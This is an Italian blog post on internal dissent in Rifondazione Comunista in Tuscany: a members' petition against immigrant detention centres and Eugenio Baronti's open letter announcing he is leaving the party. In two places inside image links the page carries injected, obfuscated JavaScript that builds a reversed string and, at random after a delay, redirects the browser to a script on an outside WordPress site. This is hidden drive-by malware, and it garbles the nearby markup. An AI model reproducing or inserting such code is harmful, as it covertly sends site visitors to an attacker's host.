La casta di Rifondazione sotto attacco. I suoi iscritti accusano: "Il popolo di sinistra è altrove"

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/06/Liberazione-504X4815-red.jpg”>Liberazione-504X4815-redUn comunicato e una lettera vergati da chi, iscritto a Rifondazione Comunista e pur animato da tutte le migliori intenzioni, non tollera più la gestione politica del partito attuata in Toscana dai vertici regionali.

Il comunicato, sottoscritto da una cinquantina di iscritti ai circoli, affronta il tema della costruzione di un CIE nella nostra regione, dopo che una mozione, voluta anche da Monica Sgherri, capogruppo PRC/Verdi in regione e dai consiglieri Mauro Romanelli (Verdi) e Paolo Marini (Comunisti Italiani), ha “garantito la doverosa collaborazione istituzionale” con il ministro Maroni e dato quindi il via libera ad un CIE in Toscana (qui una testimonianza dei migranti reclusi per capire di cosa si tratta).

La lettera l’ha scritta invece l’ex assessore regionale Eugenio Baronti, che ha deciso di non rinnovare la tessera perché il partito non è in grado di cogliere i fermenti della società “il popolo della sinistra è fuori, da un’altra parte”, e anche perché costituito nei vertici da un “ceto politico che pensa ed agisce solo per autoconservare se stesso”, “un partito che si è progressivamente svuotato di competenze, professionalità, saperi, esperienze”.

Ecco i due testi.

***

NO AI CENTRI DI IDENTIFICAZIONE ED ESPULSIONE (CIE) RICHIESTI DAL GOVERNO! ANCHE SE PICCOLI E… ROSSI!

Siamo impegnati da tempo, insieme a varie forze di movimento, contro la costruzione di un Centro di Identificazione ed Espulsione (CIE), che più volte il Governo e le destre (anche in queste settimane con il Ministro Maroni) hanno tentato di realizzare in Toscana, senza finora riuscirvi.

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/06/cpt.jpg”>cptQueste strutture rappresentano una vera e propria aberrazione giuridica, incostituzionali, in quanto recludono, anche fino a 18 mesi, per una semplice irregolarità amministrativa, divenuta reato di clandestinità con il “pacchetto sicurezza” del Governo Berlusconi.

I CIE fanno parte delle politiche di esclusione e respingimento, politiche che contribuiscono ad alimentare un razzismo sempre più diffuso e radicato.

Per questo esprimiamo forte dissenso e contrarietà nei confronti della mozione approvata dalla maggioranza di centrosinistra in Consiglio Regionale, che ripropone in concreto quanto contenuto nel Programma Elettorale del Presidente Rossi, ovvero la disponibilità per “doverosa collaborazione” ad aprire una trattativa col Governo per realizzare i CIE, purchè siano “piccoli, rispettosi dei diritti, gestiti dal volontariato, capaci di promuovere la regolarizzazione e l’inserimento sociale” dei migranti!

Questa posizione, sostenuta purtroppo anche dal Gruppo Federazione della Sinistra-Verdi, nonostante i buoni propositi e le critiche al sistema vigente, rappresenta uno strappo ed un gravissimo arretramento rispetto alla opposizione finora manifestata dalla Regione Toscana, perché apre alla realizzazione dei CIE!

L’esperienza dimostra che in questi centri, anche se gestiti da associazioni e volontariato, avvengono continue violazioni dei diritti della persona, documentate da testimonianze dirette, relazioni, filmati, convegni di giuristi. Anche perché i CIE, per legge, non sono gestiti dalle Regioni ed hanno il compito di buttar fuori, di limitare la libertà personale proprio in relazione al reato di clandestinità, non di promuovere inserimento sociale.

Eppoi perché dovrebbe essere “doverosa”, la collaborazione con un Governo che ha fatto della xenofobia, del razzismo e della violazione del diritto il suoi punti forti?

Diversamente, se la volontà è davvero quella di garantire i diritti di cittadinanza e la prima accoglienza (emergenza abitativa, diritto all’asilo, formazione professionale, inserimento lavorativo, regolarizzazione..), allora occorre dotarsi di progetti, strutture e servizi che niente hanno a che fare con i CIE (ad esempio recuperando i tanti contenitori pubblici dimessi!) per dare una risposta ai problemi sociali di tanti cittadini sia nativi che migranti, ed impedire in questa crisi una pericolosa guerra tra poveri e l’imbarbarimento di tutta la società!

Per questo se vogliamo costruire un’alternativa e non essere subalterni alla cultura securitaria della destra, cultura che purtroppo sta contagiando anche vari amministratori di centrosinistra (vedi sgomberi), bisogna continuare ad opporsi decisamente alla realizzazione dei CIE ovunque, non illudersi di “umanizzarli”!

E’ tempo di scelte chiare: come compagni/e del PRC che, insieme a tanti altri/e, già nei mesi scorsi espressero, anche per questo motivo, il proprio dissenso dall’accordo col PD in Regione, saremo in prima fila in questa lotta, in coerenza con le posizioni da sempre espresse da Rifondazione Comunista e da un ampio movimento.

Primo elenco di firme (la raccolta di firme continua, le adesioni vanno inviate a satarge@aliceposta.it):

Alidina Marchettini (CPP, segr.circ. Rifredi), Enrica Fani (CPP), Beatrice Campigli (CGR), Corrado Ferraro, Maria Laura Massai, Alessandro Oriani (circ.Rifredi), Selene Pecchioli (CPP, circ.FI Sud) Mario Noferini (CPP, circ.FI Sud) Gianni Monti (CGP) Paola Serasini (CGP,.circ.Coverciano), Baldi Anna (CPP, circ.Coverciano) Teresita Cardona, Lena Mazzi, Carla Fossati, Duccio Minozzi (circ.Coverciano) Sandro Pollini (CPP, circ.Gracci) Arrigo Bortolotti (CPP, segr.circ. Gracci Campo Marte) Pippo Marchese (CGR, circ. Gracci Campo Marte) Manuela Giugni (CPP, circ.Q4) Riccardo Torregiani (CPR, circ.Q4), Renata Fabiani (CPP, segr. circ.centro storico) Vincenzo Simoni (CPP e CPN, circ.centro storico) Carla Cianferotti, Giacomo Cappugi, Paolo Casotti, Oscar Cappello (circ.Centro Storico) Pino Ianniello (CPP circolo Sanità), Marco Checchi (CPP), Mariella Marzuoli (CPP) Piera Degl’Innocenti (CPP) Wanda Vannucci (CPP, cons.Comun.Rufina) Alessandro Mussi (CPP, segr.circ.Rufina) Luigi Chezzi (CPP, circ.Pontassieve) Loretta Mugnaini (CPP, cons.comun.Scandicci) Francesco Cortelloni (CPP, circ.Scandicci) Antonio Andreotti (CPP, circ.Bagno a Ripoli) Lorenzo Ballerini (segr.circ.Campi B.), Dario Salvetti (CPP e CPN, circ.Campi B.), Lorenzo Ciampi (circ.Campi B) Sandro Targetti (CPP e CPN, cons.comun.Campi B.) Sergio Canzi (segr.circ.Sesto F.) Sabrina Cecchini (CPP, circ.Sesto F.) Massimo Doni (cons.comun.Sesto F.), Alessandro Bellucci (CPR, segr.circ.ferrovieri) Raniero Casini (CPR, circ.ferrovieri), Massimo Manetti (CPP, circ.ferrovieri), David Del Rosso (CPP, circ.Telecom) della federazione fiorentina del Partito della Rifondazione Comunista.

Nota: CPP, comitato politico provinciale, CPR, comitato politico regionale, CPN, comitato politico nazionale, CGP, collegio garanzia provinciale, CGR, collegio garanzia regionale.

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LETTERA APERTA DI EUGENIO BARONTI AGLI ISCRITTI E AI SIMPATIZZANTI DI RIFONDAZIONE COMUNISTA DELLA TOSCANA

Care compagne e cari compagni,

non so quanti potranno leggere questa lettera, la scrivo nella speranza che possa raggiungere, magari con un passa parola, tutti/e voi. Credo sia giunto il momento di chiarire pubblicamente la mia posizione rispetto al PRC. Da quello che si dice in giro, ma anche da quello che si scrive sulla stampa locale, si evince che quasi tutti continuano a considerarmi ancora un dirigente di questo partito, cosa del tutto comprensibile in considerazione del fatto che per diciannove anni ne sono stato dirigente e figura pubblica riconosciuta, soprattutto nella provincia di Lucca. Ho sempre avuto importanti responsabilità politiche: membro del Comitato nazionale per diversi anni, del Comitato politico regionale, segretario di federazione, consigliere comunale e infine assessore comunale a Capannori e poi, per ultimo, Assessore regionale in Toscana. Non ho intenzione assolutamente di cancellare questa mia lunga storia di militanza politica che mi appartiene e rivendico con orgoglio, fino in fondo, perché questo partito rappresenta una bella parte di storia della mia vita.

Pur tuttavia ho deciso che quest’anno non rinnoverò la tessera di iscrizione, è una decisione meditata, ponderata e irrevocabile, perché mi sento fuori da questa esperienza per diversi motivi: il primo è squisitamente politico, penso che questa esperienza sia andata esaurendosi; la scommessa politica della rifondazione di un nuovo pensiero e di una nuova cultura politica comunista, all’altezza delle sfide di questo nuovo millennio, è sostanzialmente fallita, non c’e l’abbiamo fatta, prova ne sia che, a 19 anni di distanza, siamo stati addirittura cancellati dalla rappresentanza istituzionale nelle aule parlamentari. Sopravviviamo in maniera del tutto marginale in qualche consiglio regionale di qualche regione, provincia e comune, sopravviviamo appunto, che è cosa ben diversa da essere politicamente vivi e attivi.

Il secondo motivo è che personalmente ritengo la prospettiva della federazione della sinistra una proposta politica che viene fuori tempo massimo, se fosse stata avanzata prima dello sciagurato congresso del PRC, forse potevamo scrivere una pagina diversa della nostra storia, adesso, a mio modesto parere, rappresenta una non prospettiva, perché praticamente si rivolge e coinvolge fantasmi politici, gusci vuoti, il PdCI, che tra declino e scissioni praticamente si è liquefatto, Socialismo duemila che rappresenta, con tutto il dovuto rispetto per alcuni suoi personaggi, quattro amici intimi, e infine, rifondazione che rimane sicuramente la forza di gran lunga più significativa ma che nel giro di qualche anno ha perso per strada più di diecimila iscritti solo nella rossa toscana, dove ormai è ridotta ai minimi storici. Non credo possa avere un qualche speranza di successo una prospettiva politica che mette insieme, con grande difficoltà, tensioni e un intollerabile tasso di litigiosità, delle forze politiche alcune delle quali socialmente e politicamente inesistenti, quando il grosso del popolo della sinistra è fuori, da un’altra parte, nel disimpegno o nell’impegno dentro l’estesa e variegata rete dell’associazionismo democratico e di sinistra diffuso. Il terzo motivo è più personale ma anche questo di portata squisitamente politica. E’del tutto inevitabile che una forza in crisi registri un tasso di litigiosità più elevato e riesca a dare il peggio di se, ma anche al peggio io penso si debba porre un limite oltre al quale non è lecito andare e bisogna trovare il coraggio e la forza di dire basta e di fermarsi.

Sarò sincero, mi da un grande fastidio sentire parlare di democrazia partecipata e di solidarietà in un partito dove non si riesce più a praticarla nemmeno nelle sue forme più minime. Nei tre anni che sono stato in Regione ho conosciuto un partito in cui mi sono sentito estraneo, l’ho vissuto da separato in casa. Intolleranza nei confronti di chi dissente con conseguente emarginazione politica; metodi inaccettabili di cooptazione dall’alto che ha imposto in segreteria uomini che rappresentano solo se stessi senza alcun radicamento sociale nel proprio territorio di provenienza; responsabilità politiche di settore distribuite per garantire una rappresentanza a tutti i piccoli gruppi di potere interni indipendentemente dalle capacità e competenze. Ho visto al lavoro un ceto politico puro che pensa ed agisce solo per autoconservare se stesso, che si riempie la bocca di belle parole e buone intenzione, praticando modi forme e pratiche distanti anni luce da quello che viene proclamato. Ho visto un partito che si è progressivamente svuotato di competenze, professionalità, saperi, esperienze, affetto da un male oscuro che ne debilita lentamente e inesorabilmente il suo fisico e lo impoverisce culturalmente e politicamente.

Si è chiusa una esperienza regionale travagliata, che al suo inizio aveva anche procurato forti dissensi, senza nemmeno un minuto di discussione e di verifica politica collettiva. E’ stata giusta questa scelta? Ne è valsa la pena, quali risultati abbiamo ottenuto? Cosa facciamo per il futuro, confermiamo questa strategia, rilanciamo questa alleanza di governo? Niente di niente. Nel dicembre 2009 inviai una lettera al partito con un bilancio dell’assessorato che mi era stato affidato, con gli obiettivi raggiunti e quelli mancati. Ne è seguito un silenzio assordante, non si doveva parlare di questa esperienza e di fatto nemmeno su questa è stata fatta una verifica del lavoro svolto e sui risultati raggiunti. Non pretendevo ne elogi ne riconoscimenti, poteva anche essere una stroncatura totale senza appello di tutto il mio lavoro, poteva anche essere giudicato un fallimento totale che giustificava la mia destituzione perchè richiedeva un taglio radicale con il passato per avviare una nuova stagione con uomini e progetti diversi e innovativi.

Niente di tutto questo. Io non ero affidabile per il partito perché dissenziente sull’attuale linea politica e questo basta e avanza per giudicare l’azione di un amministratore pubblico. Nemmeno uno straccio di lettera da parte della segreteria per dire: comunque grazie, soprattutto per non aver mai usato la mia posizione per sparare polemiche contro il partito, per danneggiarlo. Nell’ultima campagna elettorale mi sono fatto da parte in silenzio chiedendo solo a tutta la sinistra divisa un atto di coraggio e una lista unitaria di tutta la sinistra Toscana, è andata diversamente dai miei desideri, ho portato a termine gli impegni presi con questo partito, nonostante tutte le plateali azioni di delegittimazione politica che ho dovuto subire, mi sono iscritto anche nel 2009, ho versato regolarmente al partito una parte del mio stipendio come stabilito, ma oggi questa esperienza è conclusa, oggi, mi sento fuori e distante da queste pratiche e modi di pensare e fare politica e ho preso questa decisione con un liberatorio sospiro di sollievo.

Uscire dal PRC non significa per me ritirarmi a vita privata, continuo con la stessa passione e lo stesso impegno di prima dentro il dibattito di tutta la sinistra, PRC compreso, dentro l’esperienza innovativa e unitaria di Sinistra per Capannori, per contribuire nel nostro piccolo a ricercare un nuovo inizio per una storia nuova di una più grande sinistra unita, popolare e plurale in cui potremo ritrovarci insieme e di cui ce né un grande bisogno.

Oggi non è più il tempo della raccolta, perché c’è rimasto poco da raccogliere, perché da anni ormai abbiamo smesso di seminare. Oggi è il tempo della semina e questa è una precondizione essenziale se vogliamo sperare di fare un buon raccolto nel prossimo futuro. Seminare cultura, valori, idealità e buone pratiche, ognuno a partire dal proprio luogo di vita e di lavoro, dal proprio territorio, non per chiudersi in piccole isole felici ma per aprirsi al mondo. Pensare globalmente agire localmente per ricostruire reti relazionali, unità, soluzioni possibili a problemi inediti per portata e natura, per misurarci con le grandi sfide di un’epoca dalla grande complessità e dai grandi paradossi e contraddizioni. L’umanità è minacciata da un modello di sviluppo che sta dilapidando risorse naturali non riproducibili a ritmi frenetici, alterando gli equilibri naturali con conseguenze potenzialmente catastrofiche, siamo messi per la prima volta di fronte a questa terribile realtà: la nostra stessa sopravvivenza è a rischio. Io non mi rassegno, penso che una grande crisi economica strutturale e di sistema come è quella che viviamo oggi, può essere portatrice di drammi umani e sociali terribili ma può essere anche levatrice di grandi opportunità per iniziare a costruire un nuovo modello di sviluppo, stili di vita improntati alla sobrietà e un modello di consumo responsabile e consapevole.

Ricostruire una nuova idea di società per un altro mondo possibile è su questa lunghezza d’onda che si potrà ricostruire la nuova sinistra del futuro.

Ai tanti compagni e compagne generosi e meravigliosi che ho conosciuto un arrivederci a presto perché penso che ci ritroveremo in un contesto diverso, più ampio, con energie fresche e giovanili, con un clima politico e culturale migliore da quello che oggi si respira dentro il PRC soprattutto quello Toscano. Vi lascio con questa mia speranza.

Arrivederci

Eugenio Baronti

0 Comments

  1. marzia

    Baronti chi?? Quello che aveva fatto una legge sulla casa ispirandosi a quella delgoverno Berlusconi?? Peccato che non si ritiri a vita privata!

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